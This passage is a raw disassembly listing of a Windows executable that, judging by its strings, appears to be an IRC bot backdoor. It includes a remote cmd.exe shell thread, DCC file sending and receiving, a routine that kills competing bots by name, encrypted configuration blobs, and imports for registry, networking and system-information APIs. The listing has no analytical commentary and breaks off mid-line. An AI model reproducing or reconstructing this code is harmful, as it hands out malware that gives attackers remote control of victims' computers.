CODE XREF: sub_40F040+1Ep jmp dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- dd 712425FFh, 0CCCC0041h, 6450FF6Ah, 0A1h, 448B5000h, 89640C24h dd 25h, 246C8900h, 246C8D0Ch, 0CCC3500Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- aJ db 'ÌÌÌÌÌÌÌÌÌÌj',0 dw 74FFh aSd db '$',8,'èd',0 db 2 dup(0), 0C2h db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+0Ch] and dword ptr [ebp-4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+0Ch] push edx push offset dword_41DDA0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+0Ch] push esi push dword ptr [ebp+10h] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+0Ch] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp-4] push eax push 0 call dword_4171C8 test eax, eax jz short loc_416EA0 and dword ptr [ebp-4], 0 loc_416EA0: ; CODE XREF: cAddress:00416E5Bj ; cAddress:00416E6Dj ... push dword ptr [ebp-4] push dword ptr [ebp+8] call sub_416EAF leave retn 0Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: cAddress:00416EA6p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; --------------------------------------------------------------------------- byte_416F05 db 56h, 8Bh, 0F1h ; DATA XREF: cAddress:off_4172B4o dword_416F08 dd 41E8h, 2444F600h, 7740108h, 0FEB2E856h, 8B59FFFFh, 4C25EC6h dd 24448B00h, 0F18B5604h, 8904488Bh, 408B044Eh, 0C668308h dd 8468900h, 6C7C085h, 4172B4h, 88B0674h, 451FF50h, 0C25EC68Bh dd 8B560004h, 8468BF1h, 72B406C7h, 0C0850041h, 88B0674h dd 851FF50h, 850C768Bh, 560774F6h, 70B015FFh, 0C35E0041h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: cAddress:00401364p ; sub_406E8E+DAp ... jmp dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: cAddress:004021D5p ; cAddress:00403AE9p ... jmp dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: cAddress:00402AFEp ; cAddress:00402CEBp ... jmp dword_417118 sub_416F80 endp ; --------------------------------------------------------------------------- word_416F86 dw 8B56h ; DATA XREF: cAddress:off_4172BCo dd 1AE8F1h, 44F60000h, 74010824h, 31E85607h, 59FFFFFEh dd 0C25EC68Bh db 4, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp dword_41711C sub_416FA2 endp ; --------------------------------------------------------------------------- dword_416FA8 dd 712025FFh, 0CCCC0041h, 0F6008D8Dh, 84E8FFFFh, 0C3FFFFEBh dd 0E8F04D8Dh, 0FFFFEB7Bh, 88D8DC3h, 0E8FFFFF2h, 0FFFFEB6Fh dd 0EC8D8DC3h, 0E8FFFFF1h, 0FFFFEB63h, 7350B8C3h, 21E90041h dd 0FFFFFEh, 6 dup(0) dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar ; sub_406C51+96r dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r ; sub_406722+184r ... dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r ; cAddress:0040868Ar ... dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r dword_417018 dd 77DDACABh ; DATA XREF: cAddress:00408493r dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r ; sub_4102AE+37r ... dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r ; sub_406722+2F9r ... align 10h dword_417030 dd 77E7C657h ; DATA XREF: cAddress:004084CBr ; sub_40D043+20Br ... dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r ; sub_408342+4Br dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r ; sub_406B81+95r ... dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r ; sub_406AE7+15r ... dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br ; sub_403BD3+32r ... dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r ; sub_403BD3+4Dr ... dword_41705C dd 77E75CB5h ; DATA XREF: cAddress:00403552r ; sub_407148+18Br ... dword_417060 dd 77E6BD13h ; DATA XREF: cAddress:00402B1Er ; sub_406E8E+1FEr dword_417064 dd 77F5157Dh ; DATA XREF: cAddress:00402B28r ; sub_409CB1+CFr ... dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r ; sub_406D90+D3r dword_41706C dd 77E6CBF9h ; DATA XREF: cAddress:004019D0r dword_417070 dd 77E7727Ah ; DATA XREF: cAddress:00401A1Fr ; cAddress:00401A58r dword_417074 dd 77E79C90h ; DATA XREF: cAddress:00401A85r ; cAddress:00401A92r dword_417078 dd 77E65F4Ch ; DATA XREF: cAddress:004084A7r dword_41707C dd 77E61BB8h ; DATA XREF: cAddress:00401B47r ; sub_406E8E+2A5r dword_417080 dd 77EB7624h ; DATA XREF: cAddress:00401BF5r dword_417084 dd 77E7FF65h ; DATA XREF: cAddress:00401C34r dword_417088 dd 77E78B82h ; DATA XREF: cAddress:00401CFCr dword_41708C dd 77E79F93h ; DATA XREF: cAddress:00401336r ; cAddress:004034FBr ... dword_417090 dd 77E7A099h ; DATA XREF: cAddress:0040133Dr ; cAddress:00403502r ... dword_417094 dd 77E706B7h ; DATA XREF: cAddress:0040139Dr ; sub_406041+193r ... dword_417098 dd 77E61A54h ; DATA XREF: cAddress:00401461r ; sub_406509+91r dword_41709C dd 77E61BE6h ; DATA XREF: cAddress:0040160Ar ; cAddress:00401738r ... dword_4170A0 dd 77E616B4h ; DATA XREF: cAddress:0040167Dr ; sub_406643+3Br dword_4170A4 dd 77E77963h ; DATA XREF: cAddress:004016B5r ; cAddress:00401705r ... dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r ; sub_406E8E+22Ar ... dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r ; cAddress:00401E68r ... dd 77E79A45h dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r dword_4170C4 dd 77E76C1Ah ; DATA XREF: cAddress:004083E0r dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br ; cAddress:00409062r dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar ; cAddress:00408FADr ... dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er ; sub_4092A4:loc_409307r ... dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r ; sub_4092A4+14r ... dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar ; sub_4092A4+Ar ... dword_4170DC dd 77E7176Ch ; DATA XREF: cAddress:00409407r dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r ; sub_4098F3+1B6r dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er dword_4170E8 dd 77E80656h ; DATA XREF: cAddress:0040131Br ; sub_406643+19r dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r dword_4170F0 dd 77E79CE3h ; DATA XREF: cAddress:00401A99r dword_4170F4 dd 77E78C17h ; DATA XREF: cAddress:00416822r dword_4170F8 dd 77E7C2C4h ; DATA XREF: cAddress:00416899r dd 77E73167h, 77E73BEFh dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r dd 0 dword_417114 dd 77C1C055h ; DATA XREF: sub_416F7Ar dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r dd 77C20C5Bh, 77C21AD8h dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r dword_41715C dd 77C33EB0h ; DATA XREF: cAddress:00416DBCo dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r align 8 dword_4171C8 dd 7713BC68h ; DATA XREF: cAddress:00416E92r align 10h dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr ; cAddress:004031CDr ... align 8 dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r dd 77D79D1Ch dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r ; cAddress:004090FFr ... dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r ; cAddress:00415BE4r dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r ; sub_4050EA+106r ... dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er ; sub_4048EF+39Fr dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r ; sub_412A3A+178r ... dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r ; cAddress:00405660r ... dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r ; cAddress:00411EA4r ... dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr ; sub_40A9CF+1A74r dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r ; sub_4045B2+21r dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr ; sub_40447B+10r dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar ; sub_4046BC+CEr ... dword_41721C dd 71AB401Ch ; DATA XREF: cAddress:0040392Cr ; cAddress:004074D5r ... dword_417220 dd 71ABD755h ; DATA XREF: cAddress:0040398Ar ; cAddress:00403A2Br ... dword_417224 dd 71AB1740h ; DATA XREF: cAddress:0040399Fr ; cAddress:00403A40r ... dword_417228 dd 71ABD850h ; DATA XREF: cAddress:00403B47r dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r ; sub_404E1C+E0r ... dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r ; sub_40A9CF+1A80r ... dword_417234 dd 71AB350Dh ; DATA XREF: cAddress:004035ABr ; cAddress:004035D2r ... dword_417238 dd 71AB1746h ; DATA XREF: cAddress:00403642r ; cAddress:00403786r ... dword_41723C dd 71AB2BBFh ; DATA XREF: cAddress:004036D9r ; cAddress:004056D8r ... dword_417240 dd 71AB157Eh ; DATA XREF: cAddress:0040217Br ; sub_40449C+21r ... dword_417244 dd 71AB12F8h ; DATA XREF: cAddress:004022BCr ; cAddress:004056C2r ... dword_417248 dd 71AB5690h ; DATA XREF: cAddress:00401F3Er ; sub_4053DC+27r ... dword_41724C dd 71AB12A7h ; DATA XREF: cAddress:00401F79r ; cAddress:004022C3r dword_417250 dd 71AB1ED3h ; DATA XREF: cAddress:00405DD7r ; cAddress:00412137r ... dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr ; sub_407148+183r ... dword_417258 dd 71AB1444h ; DATA XREF: cAddress:00412066r dword_41725C dd 71AB14DCh ; DATA XREF: cAddress:004160C0r dword_417260 dd 71AB32CAh ; DATA XREF: cAddress:00415FEAr dword_417264 dd 71AB41DAh ; DATA XREF: cAddress:004169F2r dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr align 10h flt_417270 dd 1.0e3 ; DATA XREF: cAddress:0040203Fr ; cAddress:00402067r ... flt_417274 dd 1.024e3 ; DATA XREF: cAddress:00408DD2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: cAddress:004093BBo dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: cAddress:004094EBo dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: cAddress:004167F6o dd offset aHhA ; "hhÝA" dd offset dword_416ACC+0Fh dd offset dword_4172F0 off_4172B4 dd offset byte_416F05 ; DATA XREF: sub_416ED3+12o dd offset dword_417338 off_4172BC dd offset word_416F86 ; DATA XREF: cAddress:off_41DDB0o ; cAddress:off_41DDD0o off_4172C0 dd offset off_41DDB0 ; DATA XREF: cAddress:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) ; DATA XREF: cAddress:00417300o dd 1, 4172D8h dword_4172F0 dd 3 dup(0) ; DATA XREF: cAddress:004172B0o dd offset off_41DDB0 dd offset dword_4172DC+4 align 8 off_417308 dd offset off_41DDD0 ; DATA XREF: cAddress:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: cAddress:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) ; DATA XREF: cAddress:004172B8o dd offset off_41DDD0 dd offset unk_417328 align 10h dd 19930520h, 4, 417370h, 5 dup(0) dd 0FFFFFFFFh, 416FB0h, 0 dd offset dword_416FA8+14h dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DDB0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h ; DATA XREF: cAddress:004173C4o dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o dd offset dword_416F08+46h dd 0 dd offset dword_4173B0 dd 3 dup(0) dd 17876h, 17114h, 3 dup(0) dd 1788Eh, 171F4h, 3 dup(0) dd 17C70h, 17030h, 3 dup(0) dd 17CE6h, 171D8h, 3 dup(0) dd 17DBAh, 17000h, 3 dup(0) dd 17DD8h, 171D0h, 3 dup(0) dd 17E3Eh, 171C8h, 0A1h dup(0) dd 74730000h, 79706372h, 0 aStrlen db 'strlen',0 align 4 dd 616D0000h, 636F6C6Ch, 0 aFree_0 db 'free',0 align 10h aMemcpy db 'memcpy',0 align 4 dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h dd 6B636Fh, 656D0000h, 7465736Dh, 0 aStrcat db 'strcat',0 align 4 dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0 aFclose db 'fclose',0 align 4 dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h dd 74610000h, 696Fh, 73730000h, 666E6163h, 0 aStrstr db 'strstr',0 align 4 dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h dd 70h, 6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h dd 656C646Eh, 3372h, 625F0000h, 6E696765h, 65726874h, 78656461h dd 0 aVsprintf db 'vsprintf',0 align 4 a??3@yaxpax@z db '??3@YAXPAX@Z',0 align 4 a??2@yapaxi@z db '??2@YAPAXI@Z',0 align 4 aPrintf db 'printf',0 align 4 dd 74730000h, 706D6372h, 0 aTolower db 'tolower',0 dd 656D0000h, 706D636Dh, 0 a_vsnprintf db '_vsnprintf',0 align 4 dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh dd 65h, 78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h dd 54524356h, 6C6C642Eh, 0 aWsaioctl db 'WSAIoctl',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 aDeletefilea db 'DeleteFileA',0 dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aClosehandle db 'CloseHandle',0 dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h dd 48656C75h, 6C646E61h, 4165h, 65470000h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0 aGetexitcodepro db 'GetExitCodeProcess',0 align 4 dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h dd 65746165h, 636F7250h, 41737365h, 0 aDuplicatehandl db 'DuplicateHandle',0 dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h dd 72430000h, 65746165h, 65706950h, 0 aSearchpatha db 'SearchPathA',0 dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h dd 72724574h, 726Fh, 6F430000h, 69467970h, 41656Ch, 78450000h dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h dd 7373h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h dd 65h, 61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h dd 416Eh, 65530000h, 72754374h, 746E6572h, 65726944h, 726F7463h dd 4179h, 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetversionexa db 'GetVersionExA',0 align 4 aGetcomputernam db 'GetComputerNameA',0 align 4 aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h dd 41h, 44746547h, 65766972h, 65707954h, 41h, 54746547h dd 436B6369h, 746E756Fh, 0 aQueryperforman db 'QueryPerformanceFrequency',0 align 4 aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h dd 61636974h, 6365536Ch, 6E6F6974h, 0 aLeavecriticals db 'LeaveCriticalSection',0 align 4 aCreatethread db 'CreateThread',0 align 4 aUnmapviewoffil db 'UnmapViewOfFile',0 dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0 aLstrcmpa db 'lstrcmpA',0 align 10h aGetenvironment db 'GetEnvironmentVariableA',0 dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h dd 4179h, 72430000h, 65746165h, 6574754Dh, 4178h, 65530000h dd 72724574h, 6F4D726Fh, 6564h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 0 aWsprintfa db 'wsprintfA',0 align 4 aGetwindowtexta db 'GetWindowTextA',0 align 4 dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h dd 77h, 646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh dd 67617373h, 4165h, 73490000h, 72616843h, 68706C41h, 6D754E61h dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 51676552h, 79726575h, 756C6156h, 41784565h, 0 aRegsetvalueexa db 'RegSetValueExA',0 align 4 dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h dd 4E726573h, 41656D61h, 0 aCryptreleaseco db 'CryptReleaseContext',0 dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h dd 45776F72h, 70656378h, 6E6F6974h, 0 a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 4 aLocalfree db 'LocalFree',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 4 dd 6Dh dup(0) off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er dd offset dword_41805C dd offset dword_418040 dd offset dword_418014 dd 0 dword_418014 dd 0C5BCA58Ch, 0E1CEC1C6h, 0AB9AFEA0h, 0EF83EDA3h, 0FE9D88B1h ; DATA XREF: cAddress:0041800Co dd 0D6F7DFEFh, 0A087CF89h, 0ECAFEBB9h, 0F09CB083h, 2 dup(0) dword_418040 dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0DEB388B9h ; DATA XREF: cAddress:00418008o dd 0C9CFh, 0 dword_41805C dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: cAddress:00418004o dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h dd 0BBBAD0BBh, 0F2A5CAA3h, 0F48C95A9h, 0F0h, 0 dword_418098 dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: cAddress:off_418000o dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h dd 0BBBAD0BBh, 0A3h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: cAddress:00401771o dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: cAddress:0040174Eo dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: cAddress:00401656o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: cAddress:00401289o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: cAddress:00401C4Ao aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: cAddress:00401BFFo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: cAddress:004019C9o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; cAddress:00403F7Fo ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; cAddress:004031C6o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: cAddress:00402080o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: cAddress:00401F04o dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; DATA XREF: cAddress:00401E6Eo ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: cAddress:004024A3o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: cAddress:004023D5o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: cAddress:00402350o dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: cAddress:004022D1o dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: cAddress:00402294o align 4 aRb db 'rb',0 ; DATA XREF: cAddress:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 